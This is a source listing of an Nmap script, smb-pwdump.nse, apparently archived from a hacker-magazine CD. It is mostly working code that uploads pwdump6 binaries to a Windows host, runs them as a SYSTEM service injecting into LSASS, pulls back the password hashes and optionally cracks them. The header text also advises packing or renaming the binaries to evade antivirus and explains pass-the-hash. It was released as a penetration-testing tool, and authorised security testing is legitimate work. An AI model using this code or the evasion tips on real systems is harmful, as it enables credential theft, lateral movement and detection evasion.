home *** CD-ROM | disk | FTP | other *** search
/ Hackers Magazine 57 / CdHackersMagazineNr57.iso / Software / Networking / nmap-5.00-setup.exe / scripts / smb-pwdump.nse < prev    next >
Text File  |  2009-07-06  |  18KB  |  513 lines

  1. description = [[
  2. This script implements the functionality found in pwdump.exe, written by the Foofus group. 
  3. Essentially, it works by using pwdump6's modules (servpw.exe and lsremora.dll) to dump the
  4. password hashes for a remote machine. This currently works against Windows 2000 and Windows 
  5. 2003. 
  6.  
  7. To run this script, the executable files for pwdump, servpw.exe and lsremora.dll, have to be 
  8. downloaded. These can be found at <http://foofus.net/fizzgig/pwdump/>, and version 1.6 has been
  9. tested. Those two files should be placed in nmap's nselib data directory, <code>.../nselib/data/</code>.  
  10. Note that these files will likely trigger antivirus software -- if you want to get around that, 
  11. I recommend compiling your own version or obfuscating/encrypting/packing them (upx works wonders). 
  12. Another possible way around antivirus software is to change the filenames (especially on the remote 
  13. system -- triggering antivirus on the remote system can land you with some questions to answer). To do 
  14. that, simply change the <code>FILE*</code> constants in <code>smb-pwdump.nse</code>.
  15.  
  16. The hashes dumped are Lanman and NTLM, and they're in the format Lanman:NTLM. If one or the other 
  17. isn't set, it's indicated. These are the hashes that are stored in the SAM file on Windows, 
  18. and can be used in place of a password to log into systems (this technique is called "passing the
  19. hash", and can be done in Nmap by using the <code>smbhash</code> argument instead of 
  20. <code>smbpassword</code> -- see <code>smbauth.lua</code> for more information. 
  21.  
  22. In addition to directly using the hashes, the hashes can also be cracked. Hashes can be cracked 
  23. fairly easily with Rainbow Crack (rcrack) or John the Ripper (john). If you intend to crack the 
  24. hashes without smb-pwdump.nse's help, I suggest setting the <code>strict</code> parameter to '1', which
  25. tells smb-pwdump.nse to print the hashes in pwdump format (except for the leading pipe '|', which
  26. Nmap adds). Alternatively, you can tell the script to crack the passwords using the <code>rtable</code>
  27. argument. For example:
  28. <code>nmap -p445 --script=smb-pwdump --script-args=smbuser=ron,smbpass=iagotest2k3,rtable=/tmp/alpha/*.rt <host></code>
  29.  
  30. This assumes that 'rcrack' is installed in a standard place -- if not, the <code>rcrack</code> parameter
  31. can be set to the path. The charset.txt file from Rainbow Crack may also have to be in the current
  32. directory. 
  33.  
  34. This script works by uploading the pwdump6 program to a fileshare, then establishing a connection 
  35. to the service control service (SVCCTL) and creating a new service, pointing to the pwdump6 program
  36. (this sounds really invasive, but it's identical to how pwdump6, fgdump, psexec, etc. work). The service
  37. runs, and sends back the data. Once the service is finished, the script will stop the service and 
  38. delete the files. 
  39.  
  40. Obviously, this script is <em>highly</em> intrusive (and requires administrative privileges). 
  41. It's running a service on the remote machine (with SYSTEM-level access) to accomplish its goals,
  42. and the service injects itself into the LSASS process to collect the needed information. 
  43. That being said, extra effort was focused on cleaning up. Unless something really bad happens 
  44. (which is always possible with a script like this), the service will be removed and the files 
  45. deleted. 
  46.  
  47. Currently, this will only run against server versions of Windows (Windows 2000 and Windows 2003). 
  48. I (Ron Bowes) am hoping to make Windows XP work, but I've had nothing but trouble. Windows Vista
  49. and higher won't ever work, because they disable the SVCCTL process. 
  50.  
  51. This script was written mostly to highlight Nmap's growing potential as a pen-testing tool. 
  52. It complements the <code>smb-brute.nse</code> script because smb-brute can find weak administrator 
  53. passwords, then smb-pwdump.nse can use those passwords to dump hashes/passwords.  Those can be added
  54. to the password list for more brute forcing. 
  55.  
  56. Since this tool can be dangerous, and can easily be viewed as a malicious tool, the usual 
  57. disclaimer applies -- use this responsibly, and especially don't break any laws with it. 
  58.  
  59. ]]
  60.  
  61. ---
  62. -- @usage
  63. -- nmap --script smb-pwdump.nse --script-args=smbuser=<username>,smbpass=<password> -p445 <host>
  64. -- sudo nmap -sU -sS --script smb-pwdump.nse --script-args=smbuser=<username>,smbpass=<password> -p U:137,T:139 <host>
  65. --
  66. -- @output
  67. -- |  smb-test:  
  68. -- |  Administrator:500:D702A1D01B6BC2418112333D93DFBB4C:C8DBB1CFF1970C9E3EC44EBE2BA7CCBC:::
  69. -- |  ASPNET:1001:359E64F7361B678C283B72844ABF5707:49B784EF1E7AE06953E7A4D37A3E9529:::
  70. -- |  blankadmin:1003:NO PASSWORD*********************:NO PASSWORD*********************:::
  71. -- |  blankuser:1004:NO PASSWORD*********************:NO PASSWORD*********************:::
  72. -- |  Guest:501:NO PASSWORD*********************:NO PASSWORD*********************:::
  73. -- |  Ron:1000:D702A1D01B6BC2418112333D93DFBB4C:C8DBB1CFF1970C9E3EC44EBE2BA7CCBC:::
  74. -- |_ test:1002:D702A1D01B6BC2418112333D93DFBB4C:C8DBB1CFF1970C9E3EC44EBE2BA7CCBC:::
  75. -- 
  76. -- @args rcrack Override the location checked for the Rainbow Crack program. By default, uses the default
  77. --       directories searched by Lua (the $PATH variable, most likely)
  78. -- @args rtable Set the path to the Rainbow Tables; for example, <code>/tmp/rainbow/*.rt</code>.
  79. -- @args strict If set to '1', enable strict output. All output will be in pure pwdump format,
  80. --       except for the leading pipe. 
  81. -----------------------------------------------------------------------
  82.  
  83. author = "Ron Bowes"
  84. copyright = "Ron Bowes"
  85. license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
  86. categories = {"intrusive"}
  87.  
  88. require 'msrpc'
  89. require 'smb'
  90. require 'stdnse'
  91.  
  92. local SERVICE  = "nmap-pwdump"
  93. local PIPE     = "nmap-pipe"
  94.  
  95. local FILE1     = "nselib/data/lsremora.dll"
  96. local FILENAME1 = "lsremora.dll"
  97.  
  98. local FILE2     = "nselib/data/servpw.exe"
  99. local FILENAME2 = "servpw.exe"
  100.  
  101.  
  102. hostrule = function(host)
  103.     return smb.get_port(host) ~= nil
  104. end
  105.  
  106. ---Stop/delete the service and delete the service file. This can be used alone to clean up the 
  107. -- pwdump stuff, if this crashes. 
  108. function cleanup(host)
  109.     local status, err
  110.  
  111.     stdnse.print_debug(1, "Entering cleanup() -- errors here can generally be ignored")
  112.     -- Try stopping the service
  113.     status, err = msrpc.service_stop(host, SERVICE)
  114.     if(status == false) then
  115.         stdnse.print_debug(1, "Couldn't stop service: %s", err)
  116.     end
  117.  
  118. --    os.exit()
  119.  
  120.     -- Try deleting the service
  121.     status, err = msrpc.service_delete(host, SERVICE)
  122.     if(status == false) then
  123.         stdnse.print_debug(1, "Couldn't delete service: %s", err)
  124.     end
  125.  
  126.     -- Delete the files
  127.     status, err = smb.file_delete(host, "C$", "\\" .. FILENAME1)
  128.     if(status == false) then
  129.         stdnse.print_debug(1, "Couldn't delete %s: %s", FILENAME1, err)
  130.     end
  131.  
  132.     status, err = smb.file_delete(host, "C$", "\\" .. FILENAME2)
  133.     if(status == false) then
  134.         stdnse.print_debug(1, "Couldn't delete %s: %s", FILENAME2, err)
  135.     end
  136.  
  137.     stdnse.print_debug(1, "Leaving cleanup()")
  138.  
  139.     return true
  140. end
  141.  
  142.  
  143. function upload_files(host)
  144.     local status, err
  145.  
  146.     status, err = smb.file_upload(host, FILE1, "C$", "\\" .. FILENAME1)
  147.     if(status == false) then
  148.         cleanup(host)
  149.         return false, string.format("Couldn't upload %s: %s\n", FILE1, err)
  150.     end
  151.  
  152.     status, err = smb.file_upload(host, FILE2,   "C$", "\\" .. FILENAME2)
  153.     if(status == false) then
  154.         cleanup(host)
  155.         return false, string.format("Couldn't upload %s: %s\n", FILE2, err)
  156.     end
  157.  
  158.     return true
  159. end
  160.  
  161. function read_and_decrypt(host, key, pipe)
  162.     local status, smbstate
  163.     local results = {}
  164.  
  165.     -- Create the SMB session
  166.     status, smbstate = msrpc.start_smb(host, msrpc.SVCCTL_PATH)
  167.     if(status == false) then
  168.         return false, smbstate
  169.     end
  170.  
  171.     local i = 1
  172.     repeat
  173.         local status, wait_result, create_result, read_result, close_result
  174.         results[i] = {}
  175.  
  176.         -- Wait for some data to show up on the pipe (there's a bit of a race condition here -- if this is called before the pipe is 
  177.         -- created, it'll fail with a STATUS_OBJECT_NAME_NOT_FOUND. 
  178.  
  179.         local j = 1
  180.         repeat
  181.             status, wait_result = smb.send_transaction_waitnamedpipe(smbstate, 0, "\\PIPE\\" .. pipe)
  182.             if(status ~= false) then
  183.                 break
  184.             end
  185.  
  186.             stdnse.print_debug(1, "WaitForNamedPipe() failed: %s (this may be normal behaviour)", wait_result)
  187.             j = j + 1
  188.             -- TODO: Wait 50ms, if there's a time when we get an actual sleep()-style function. 
  189.         until status == true
  190.  
  191.         if(j == 100) then
  192.             smbstop(smbstate)
  193.             return false, "WaitForNamedPipe() failed, service may not have been created properly."
  194.         end
  195.  
  196.         -- Get a handle to the pipe
  197.         status, create_result = smb.create_file(smbstate, "\\" .. pipe)
  198.         if(status == false) then
  199.             smb.stop(smbstate)
  200.             return false, create_result
  201.         end
  202.  
  203.         status, read_result = smb.read_file(smbstate, 0, 1000)
  204.         if(status == false) then
  205.             -- TODO: Figure out how to handle errors better
  206.             return false, read_result
  207.         else
  208.             local data = read_result['data']
  209.             local code = string.byte(string.sub(data, 1, 1))
  210.             if(code == 0) then
  211.                 break
  212.             elseif(code == 2) then
  213.                 local cUserBlocks = string.byte(string.sub(data, 3, 3))
  214.                 local userblock = ""
  215.                 for j = 0, cUserBlocks, 1 do
  216.                     local _, a, b = bin.unpack("<II", data, 68 + (j * 8))
  217.                     local encrypted = bin.pack(">II", a, b)
  218.                     local decrypted_hex = openssl.decrypt("blowfish", key, nil, encrypted)
  219.                     _, a, b = bin.unpack("<II", decrypted_hex)
  220.                     userblock = userblock .. bin.pack(">II", a, b)
  221.                 end
  222.     
  223.                 local password_block = ""
  224.                 for j = 0, 3, 1 do
  225.                     local _, a, b = bin.unpack("<II", data, 4 + (j * 8))
  226.                     local encrypted = bin.pack(">II", a, b)
  227.                     local decrypted_hex = openssl.decrypt("blowfish", key, nil, encrypted)
  228.                     _, a, b = bin.unpack("<II", decrypted_hex)
  229.                     password_block = password_block .. bin.pack(">II", a, b)
  230.                 end
  231.     
  232.                 _, results[i]['username'] = bin.unpack("z", userblock)
  233.                 _, results[i]['ntlm']     = bin.unpack("H16", password_block)
  234.                 _, results[i]['lm']       = bin.unpack("H16", password_block, 17)
  235.     
  236.                 if(results[i]['lm'] == "AAD3B435B51404EEAAD3B435B51404EE") then
  237.                     results[i]['lm'] = "NO PASSWORD*********************"
  238.                 end
  239.     
  240.                 if(results[i]['ntlm'] == "31D6CFE0D16AE931B73C59D7E0C089C0") then
  241.                     results[i]['ntlm'] = "NO PASSWORD*********************"
  242.                 end
  243.             else
  244.                 stdnse.print_debug(1, "Unknown message code from pwdump: %d", code)
  245.             end
  246.         end
  247.  
  248.         status, close_result = smb.close_file(smbstate)
  249.         if(status == false) then
  250.             smb.stop(smbstate)
  251.             return false, close_result
  252.         end
  253.         i = i + 1
  254.     until(1 == 2)
  255.  
  256.     smb.stop(smbstate)
  257.  
  258.     return true, results
  259. end
  260.  
  261. -- TODO: Check for OpenSSL
  262. function go(host)
  263.     local status, err
  264.     local results
  265.     local key
  266.  
  267.     local key = ""
  268.     local i
  269.  
  270.     -- Start by cleaning up, just in case. 
  271.     cleanup(host)
  272.  
  273.     -- It seems that, in my tests, if a key contains either a null byte or a negative byte (>= 0x80), errors
  274.     -- happen. So, at the cost of generating a weaker key (keeping in mind that it's already sent over the 
  275.     -- network), we're going to generate a key from printable characters only (we could use 0x01 to 0x1F 
  276.     -- without error, but eh? Debugging is easier when you can type the key in)
  277.     local key_bytes = openssl.rand_bytes(16)
  278.     for i = 1, 16, 1 do
  279.         key = key .. string.char((string.byte(string.sub(key_bytes, i, i)) % 0x5F) + 0x20)
  280.     end
  281.  
  282.     -- Upload the files
  283.     status, err = upload_files(host)
  284.     if(status == false) then
  285.         stdnse.print_debug(1, "Couldn't upload the files: %s", err)
  286.         cleanup(host)
  287.         return false, string.format("Couldn't upload the files: %s", err)
  288.     end
  289.  
  290.     -- Create the service
  291.     status, err = msrpc.service_create(host, SERVICE, "c:\\servpw.exe")
  292.     if(status == false) then
  293.         stdnse.print_debug(1, "Couldn't create the service: %s", err)
  294.         cleanup(host)
  295.  
  296.         return false, string.format("Couldn't create the service on the remote machine: %s", err)
  297.     end
  298.  
  299.     -- Start the service
  300.     status, err = msrpc.service_start(host, SERVICE, {PIPE, key, tostring(string.char(16)), tostring(string.char(0)), "servpw.exe"})
  301.     if(status == false) then
  302.         stdnse.print_debug(1, "Couldn't start the service: %s", err)
  303.         cleanup(host)
  304.  
  305.         return false, string.format("Couldn't start the service on the remote machine: %s", err)
  306.     end
  307.  
  308.     -- Read the data
  309.     status, results = read_and_decrypt(host, key, PIPE)
  310.     if(status == false) then
  311.         stdnse.print_debug(1, "Error reading data from remote service")
  312.         cleanup(host)
  313.  
  314.         return false, string.format("Failed to read password data from the remote service: %s", err)
  315.     end
  316.  
  317.     -- Clean up what we did
  318.     cleanup(host)
  319.  
  320.     return true, results
  321. end
  322.  
  323. ---Converts an array of accounts to a pwdump-like representation. 
  324. --@param accounts The accounts array. It should have a list of tables, each with 'username', 'lm', and 'ntlm'. 
  325. --@param strict   If 'strict' is set to true, a true pwdump representation wiill be used; otherwise, a more user friendly one will. 
  326. --@return A string in the standard pwdump format. 
  327. function accounts_to_pwdump(accounts, strict)
  328.     local str = ""
  329.  
  330.     for i=1, #accounts, 1 do
  331.         if(accounts[i]['username'] ~= nil) then
  332.             if(strict) then
  333.                 str = str .. string.format("%s:%s:%s:::\n", accounts[i]['username'], accounts[i]['lm'], accounts[i]['ntlm'])
  334.             else
  335.                 if(accounts[i]['password']) then
  336.                     str = str .. string.format("%s => %s:%s (Password: %s)\n", accounts[i]['username'], accounts[i]['lm'], accounts[i]['ntlm'], accounts[i]['password'])
  337.                 else
  338.                     str = str .. string.format("%s => %s:%s\n", accounts[i]['username'], accounts[i]['lm'], accounts[i]['ntlm'])
  339.                 end
  340.             end
  341.         end
  342.     end
  343.  
  344.     return str
  345. end
  346.  
  347.  
  348. ---Run the 'rcrack' program and parse the output. This may sound simple, but the output of rcrack clearly
  349. -- wasn't designed to be scriptable, so it's a little difficult. But, it works, at least for 1.2. 
  350. function rainbow(accounts, rcrack, rtable)
  351.     local pwdump = accounts_to_pwdump(accounts, true)
  352.     local pwdump_file = os.tmpname()
  353.     local file
  354.     local command = rcrack .. " " .. rtable .. " -f " .. pwdump_file
  355.  
  356.     -- Print a warning if 'charset.txt' isn't present
  357.     file = io.open("charset.txt", "r")
  358.     if(file == nil) then
  359.         stdnse.print_debug(1, "WARNING: 'charset.txt' not found in current directory; rcrack may not run properly")
  360.     else
  361.         io.close(file)
  362.     end
  363.  
  364.     -- Create the pwdump file
  365.     stdnse.print_debug(1, "Creating the temporary pwdump file (%s)", pwdump_file)
  366.     file, err = io.open(pwdump_file, "w")
  367.     if(file == nil) then
  368.         return false, err
  369.     end
  370.     file:write(pwdump)
  371.     file:close()
  372.  
  373.     -- Start up rcrack
  374.     stdnse.print_debug(1, "Starting rcrack (%s)", command)
  375.     file, err = io.popen(command, "r")
  376.     if(file == nil) then
  377.         return false, err
  378.     end
  379.  
  380.     for line in file:lines() do
  381.         stdnse.print_debug(2, "RCRACK: %s\n", line)
  382.         if(string.find(line, "hex:") ~= nil) then
  383.             local start_hex1 = 0
  384.             local start_hex2 = 0
  385.             local hex1, hex2
  386.             local ascii1, ascii2
  387.             local password
  388.             local i
  389.  
  390.             -- First, find the last place in the string that starts with "hex:"
  391.             repeat
  392.                 local _, pos = string.find(line, "  hex:", start_hex1)
  393.                 if(pos ~= nil) then
  394.                     start_hex1 = pos + 1
  395.                 end
  396.             until pos == nil
  397.  
  398.             -- Get the first part of the hex
  399.             if(string.sub(line, start_hex1, start_hex1 + 9) == "<notfound>") then
  400.                 -- If it wasn't found, then set it as such and go to after the "not found" part
  401.                 ascii1 = "<notfound>"
  402.                 start_hex2 = start_hex1 + 10
  403.             else
  404.                 -- If it was found, convert to ascii
  405.                 ascii1 = bin.pack("H", string.sub(line, start_hex1, start_hex1 + 13))
  406.                 start_hex2 = start_hex1 + 14
  407.             end
  408.  
  409.             -- Get the second part of the hex
  410.             if(string.sub(line, start_hex2) == "") then
  411.                 ascii2 = ""
  412.             elseif(string.sub(line, start_hex2, start_hex2 + 9) == "<notfound>") then
  413.                 -- It wasn't found
  414.                 ascii2 = "<notfound>"
  415.             else
  416.                 -- It was found, convert to ascii
  417.                 ascii2 = bin.pack("H", string.sub(line, start_hex2, start_hex2 + 13))
  418.             end
  419.  
  420.             -- Join the two halves of the password together
  421.             password = ascii1 .. ascii2
  422.  
  423.             -- Figure out the username (it's the part that is followed by a bunch of spaces then the password)
  424.             i = string.find(line, "  +" .. password)
  425.  
  426.             username = string.sub(line, 1, i - 1)
  427.  
  428.             -- Finally, find the username in the account table and add our entry
  429.             for i=1, #accounts, 1 do
  430.                 if(accounts[i]['username'] ~= nil) then
  431.                     if(string.find(accounts[i]['username'], username .. ":%d+$") ~= nil) then
  432.                         accounts[i]['password'] = password
  433.                     end
  434.                 end
  435.             end
  436.         end
  437.     end
  438.  
  439.     -- Close the process handle
  440.     file:close()
  441.  
  442.     -- Remove the pwdump file
  443.     os.remove(pwdump_file)
  444.  
  445.     return true, accounts
  446. end
  447.  
  448. action = function(host)
  449.  
  450.     local status, results
  451.     local response = " \n"
  452.     local rcrack = "rcrack"
  453.     local rtable = nil
  454.  
  455.     -- Check if we have the necessary files
  456.     if(nmap.fetchfile(FILE1) == nil or nmap.fetchfile(FILE2) == nil) then
  457.         local err = " \n"
  458.         err = err .. string.format("Couldn't run smb-pwdump.nse, missing required file(s):\n")
  459.         if(nmap.fetchfile(FILE1) == nil) then
  460.             err = err .. "- " .. FILE1 .. "\n"
  461.         end
  462.         if(nmap.fetchfile(FILE2) == nil) then
  463.             err = err .. "- " .. FILE2 .. "\n"
  464.         end
  465.         err = err .. string.format("These are included in pwdump6 version 1.7.2:\n")
  466.         err = err .. string.format("<http://foofus.net/fizzgig/pwdump/downloads.htm>")
  467.  
  468.         return err
  469.     end
  470.  
  471.     status, results = go(host)
  472.  
  473.     if(status == false) then
  474.         return "ERROR: " .. results
  475.     end
  476.  
  477.     -- Only try cracking if strict is turned off
  478.     if(nmap.registry.args.strict == nil) then
  479.         -- Override the rcrack program
  480.         if(nmap.registry.args.rcrack ~= nil) then
  481.             rcrack = nmap.registry.args.rcrack
  482.         end
  483.  
  484.         -- Check if a table was passed
  485.         if(nmap.registry.args.rtable ~= nil) then
  486.             rtable = nmap.registry.args.rtable
  487.         end
  488.  
  489.         -- Check a spelling mistake that I keep making
  490.         if(nmap.registry.args.rtables ~= nil) then
  491.             rtable = nmap.registry.args.rtables
  492.         end
  493.  
  494.         -- Check if we actually got a table
  495.         if(rtable ~= nil) then
  496.             status, crack_results = rainbow(results, rcrack, rtable)
  497.             if(status == false) then
  498.                 response = "ERROR cracking: " .. crack_results .. "\n"
  499.             else
  500.                 results = crack_results
  501.             end
  502.         end
  503.  
  504.         response = response .. accounts_to_pwdump(results, false)
  505.     else
  506.         response = response .. accounts_to_pwdump(results, true)
  507.     end
  508.  
  509.     return response
  510. end
  511.  
  512.  
  513.